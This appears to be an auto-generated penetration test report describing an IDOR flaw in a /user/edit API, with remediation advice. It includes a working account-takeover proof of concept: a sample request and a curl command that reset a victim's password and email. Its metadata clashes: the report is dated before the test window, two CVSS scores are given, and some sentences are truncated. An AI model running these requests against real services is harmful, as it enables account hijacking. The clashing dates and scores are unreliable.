

Penetration Test Report

Prepared for **Contact CL 2027**

ENGAGEMENT	CON-CL-2-26670	WINDOW	May 21, 2026 – May 22, 2026
VERSION	1.0	ISSUED	May 14, 2026
LEAD	Admin	TEAM	Admin
CLASSIFICATION	Confidential — Restricted		

Document Control

Revision History

Version	Date	Author	Description
1.0	May 14, 2026	Admin	Initial release

Confidentiality Notice

This document contains confidential and proprietary information belonging to the client and the assessing firm. It is intended solely for the use of the named recipient(s). Disclosure, copying, distribution, or use of the contents of this document by any person other than the intended recipient is strictly prohibited.

The findings, recommendations, and opinions expressed in this report reflect the state of the assessed systems at the time of testing only. The assessing firm accepts no liability for the use or misuse of information contained herein.

Distribution: This report is classified *Confidential — Restricted*. Retain securely and do not transmit over unencrypted channels. Evidence and raw data are retained for 90 days and then cryptographically shredded.

Contents

0. Document Control	2
0.1. Revision History	2
0.2. Confidentiality Notice	2
1. Executive Summary	4
1.1. Findings at a Glance	4
1.2. Project Scope	4
1.3. Key Security Strengths	4
1.4. Key Areas for Improvement	4
2. Strategic Recommendations	5
2.1. Immediate Actions (0–30 Days)	5
2.2. Short-Term Improvements (30–90 Days)	5
2.3. Long-Term Security Hardening	5
3. Technical Details	6
3.1. Technical Scope	6
3.2. Testing Details	6
3.3. Engagement Timeline	6
4. Detailed Findings	7
4.1. High Risk Findings	8
F-001 Insecure Direct Object Reference (IDOR) in User Account Management	9
Appendix A — CVSS Severity Ratings	12
Appendix B — Tools and Techniques	13
Appendix C — Glossary	14

Executive Summary

A total of 1 vulnerability was identified during the Network assessment of Contact CL 2027. 1 critical or high-severity finding requires immediate remediation.

Findings at a Glance

All issues identified during the engagement are summarized in **Table 1**.

Critical	High	Medium	Low	Informational
0	1	0	0	0

Table 1. Total findings by severity.

Project Scope

The following assets were in scope for this engagement:

No scope defined.

Key Security Strengths

The environment demonstrated baseline security controls. Standard authentication mechanisms and input validation were observed on primary endpoints.

Key Areas for Improvement

- [HIGH] Insecure Direct Object Reference (IDOR) in User Account Management** — 1. ****Server-side authorization check**** — Verify that the authenticated session's user ID matches the

Strategic Recommendations

Immediate Actions (0–30 Days)

The following critical and high-severity findings require immediate attention:

- **HIGH F-001** — Insecure Direct Object Reference (IDOR) in User Account Management: 1.
Server-side authorization check — Verify that the authenticated session's

Short-Term Improvements (30–90 Days)

No medium-severity findings in this assessment period.

Long-Term Security Hardening

The following strategic initiatives are recommended to strengthen the overall security programme:

- Implement a continuous vulnerability management programme with quarterly assessments.
- Establish a formal secure development lifecycle (SDLC) with security gates at design, code review, and deployment stages.
- Deploy a security information and event management (SIEM) solution for real-time threat detection.
- Conduct annual penetration tests against all internet-facing assets and internal network segments.

Technical Details

Technical Scope

The following assets were evaluated during this engagement:

Asset / URL	Type	Notes
No scope assets defined.		

Testing Methodology

The engagement followed the PTES execution phases mapped to OWASP WSTG v4.2 controls, combining authenticated and unauthenticated test runs across the full assessment window.

#	Activity	Primary Tooling
01	Reconnaissance	OSINT, DNS enumeration, asset discovery, Shodan
02	Threat Modelling	STRIDE analysis against service map
03	Vulnerability Analysis	Burp Suite Pro, Semgrep, Nuclei, manual testing
04	Exploitation	Controlled PoC — scoped to confirm impact only
05	Post-Exploitation	Read-only confirmation within agreed rules of engagement
06	Reporting	CVSS 3.1 scoring, CWE/OWASP mapping

Engagement Timeline

Milestone	Date / Period
Assessment Start	May 21, 2026
Assessment End	May 22, 2026
Report Issued	May 14, 2026
Retest Window	90 days from report issue

Rules of Engagement — No destructive testing, no customer PII handling, and no testing of out-of-scope third-party processors. Testing was conducted during agreed windows only.

Detailed Findings

All 1 identified finding is enumerated below, ordered by severity. Full technical details follow on subsequent pages.

ID	Severity	Title	Component	CVSS
F-001	HIGH	Insecure Direct Object Reference (IDOR) in User Account Management	—	8.1

Refer to Appendix A for CVSS severity rating definitions. Each finding on the following pages includes full technical details, reproduction steps, impact analysis, and remediation guidance.

High Risk Findings

HIGH
1 finding

Avg CVSS: 8.1

High-severity findings pose significant risk to system integrity, confidentiality, or availability. Remediate within 30 days.

ID	Title	CVSS	Page
F-001	Insecure Direct Object Reference (IDOR) in User Account Management	8.1	9

FINDING F-001

Insecure Direct Object Reference (IDOR) in User Account Management

SEVERITY

HIGH

CVSS V3.1

8.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CWE

CWE-639

OWASP

A01:2021

Description

Overview

An **Insecure Direct Object Reference (IDOR)** vulnerability exists in the `/user/edit` API endpoint. The application fails to properly verify that the authenticated user has authorization to modify the target account, relying solely on the user-supplied `userId` parameter in the POST request body.

Technical Details

The endpoint accepts a POST request with a JSON body containing user account details. The `userId` field is used directly to identify which account to update without verifying ownership or applying server-side access controls.

```

HTTP
POST /user/edit HTTP/1.1
Host: api.target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Content-Type: application/json

{
  "userId": "VICTIM_USER_ID",
  "password": "attacker_controlled_password",
  "email": "attacker@evil.com"
}
```

The server processes the request using the attacker-supplied `userId` without validating session ownership, resulting in unauthorized modification of victim account credentials.

Impact

Business Impact

This vulnerability allows any authenticated attacker to:

- **Full account takeover** of any user account in the system
- **Unauthorized access** to victim user data, private messages, and sensitive information
- **Credential manipulation** — attackers can change passwords and email addresses, locking legitimate users out of their accounts
- **Privilege escalation** — if an attacker targets administrator accounts, they can gain full administrative control of the application

FINDING **F-001** CONTINUED

- **Data exfiltration** — post-takeover, attackers can access all data associated with the compromised accounts
- **Regulatory exposure** — unauthorized access to personal data may constitute a breach under GDPR, HIPAA, or PCI-DSS

Affected Scope

All registered user accounts are potentially affected. The vulnerability requires only a valid session token — no special privileges are needed. An attacker need only enumerate or guess valid user IDs to compromise any account.

CVSS 3.1 Score: 8.8 (High) — Network-accessible, low complexity, requires only low-privilege authentication, no user interaction, significant confidentiality and integrity impact.

Recommendations

Immediate Actions

1. **Server-side authorization check** — Verify that the authenticated session's user ID matches the `userId` in the request before processing any modifications:

```
JAVASCRIPT
// Server-side fix (Node.js example)
app.post('/user/edit', authenticate, async (req, res) => {
  const { userId, ...updates } = req.body;

  // CRITICAL: Verify ownership
  if (req.session.userId !== userId) {
    return res.status(403).json({ error: 'Forbidden' });
  }

  // Proceed with update
  await db.user.update({ where: { id: userId }, data: updates });
});
```

1. **Remove user-controlled ID from request body** — Derive the user ID exclusively from the authenticated session token rather than accepting it as user input:

```
JAVASCRIPT
// Preferred: derive user ID from session only
app.post('/user/edit', authenticate, async (req, res) => {
  const userId = req.session.userId; // Trust only the session
  await db.user.update({ where: { id: userId }, data: req.body });
});
```

Long-term Recommendations

- Implement a centralized authorization middleware that enforces object-level access control across all endpoints
- Conduct a full audit of all API endpoints that accept user-supplied identifiers to identify similar IDOR patterns
- Adopt an **Attribute-Based Access Control (ABAC)** or **Role-Based Access Control (RBAC)**

FINDING **F-001** *CONTINUED*

Technical Details

Prerequisites

- Two valid user accounts (attacker and victim)
- Network interception proxy (Burp Suite / OWASP ZAP)
- Valid session token for the attacker account

Step-by-Step

1. **Authenticate** as the attacker user and capture a valid session token
2. **Intercept** a normal `/user/edit` request using Burp Suite
3. **Modify** the `userId` parameter in the POST body to the victim's user ID:

```
JSON
{
  "userId": "TARGET_VICTIM_ID",
  "password": "Attacker@12345",
  "email": "attacker@evil.com"
}
```

1. **Forward** the modified request — the server returns HTTP 200 OK
2. **Verify** by attempting to log in as the victim using the new password

Proof of Concept

```
BASH
curl -X POST https://api.target.com/user/edit \
  -H "Authorization: Bearer <ATTACKER_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"userId":"<VICTIM_ID>","password":"pwned123","email":"attacker@test.com"}'
```

Expected Response:

```
JSON
{"success": true, "message": "Profile updated successfully"}
```

References

- [OWASP — Broken Object Level Authorization \(BOLA/IDOR\)](#)
- [OWASP Testing Guide — Testing for IDOR](#)
- [CWE-639: Authorization Bypass Through User-Controlled Key](#)
- [PortSwigger Web Academy — IDOR](#)
- [HackerOne Hacktivity — IDOR Disclosures](#)

Appendix A — CVSS Severity Ratings

Severity is assigned per finding using the *Common Vulnerability Scoring System v3.1*. Each finding records both the numerical score and vector string, allowing re-derivation against custom environmental context.

Severity	CVSS Range	Definition
CRITICAL	9.0 – 10.0	Direct, immediate threat. Exploitable by an unauthenticated attacker with low effort. Remediate immediately.
HIGH	7.0 – 8.9	Significant threat to sensitive systems or data, or a meaningful component of an attack chain. Remediate within 30 days.
MEDIUM	4.0 – 6.9	Threat requiring non-trivial preconditions but materially weakening posture. Remediate within 90 days.
LOW	0.1 – 3.9	Minor exposure with limited impact in isolation. Address as part of regular hygiene within 180 days.
INFORMATIONAL	0.0	Observation worth noting for hardening or hygiene. No immediate risk.

Note — CVSS scores reflect the *base score* only. Temporal and environmental modifiers are noted where relevant. Clients are encouraged to apply their own environmental vector to adjust scores to their specific context.

Appendix B — Tools and Techniques

The following tools and techniques were employed during the assessment. All tools were used in accordance with the agreed rules of engagement.

Tool / Technique	Category	Purpose
Burp Suite Professional	Web Proxy	HTTP interception, active scanning, session analysis
Nuclei	Scanner	Template-based vulnerability detection across web surfaces
Nmap / Naabu	Network Scanner	Port discovery, service version detection, OS fingerprinting
ffuf / Feroxbuster	Fuzzing	Directory enumeration, parameter fuzzing, wordlist attacks
Semgrep	SAST	Static analysis for common vulnerability patterns in source code
SQLMap	Exploitation	Automated SQL injection detection and exploitation
Amass / Subfinder	OSINT / Recon	Subdomain enumeration and asset discovery
JWT Tool	Token Analysis	JWT signature algorithm confusion and secret brute-forcing
Hashcat	Password Cracking	Offline hash cracking with GPU acceleration
Manual Testing	Methodology	Logic flaws, business process abuse, authentication bypass

Appendix C — Glossary

Key terms used throughout this report are defined below.

Term	Definition
Attack Surface	The set of all points at which an attacker can enter or extract data from a system.
Authentication Bypass	A vulnerability allowing access to protected resources without valid credentials.
CVSS	Common Vulnerability Scoring System — a standardised framework for rating vulnerability severity.
CWE	Common Weakness Enumeration — a community-developed list of software and hardware weakness types.
IDOR	Insecure Direct Object Reference — direct access to objects (records, files) using user-controlled input.
Lateral Movement	Techniques used by attackers to progressively move through a network after initial compromise.
OWASP	Open Worldwide Application Security Project — provides freely available security guidance and tools.
Penetration Test	Authorised simulated cyberattack against a computer system to evaluate security weaknesses.
PoC	Proof of Concept — a demonstration that a vulnerability exists and can be exploited.
PTES	Penetration Testing Execution Standard — a common methodology framework for penetration tests.
Remediation	The process of fixing or mitigating a discovered security vulnerability.
SQL Injection	Insertion of malicious SQL code into a query via user-supplied input fields.
STRIDE	A threat modelling framework covering Spoofing, Tampering, Repudiation, Info Disclosure, DoS, Elevation.
XSS	Cross-Site Scripting — injection of malicious scripts into web pages viewed by other users.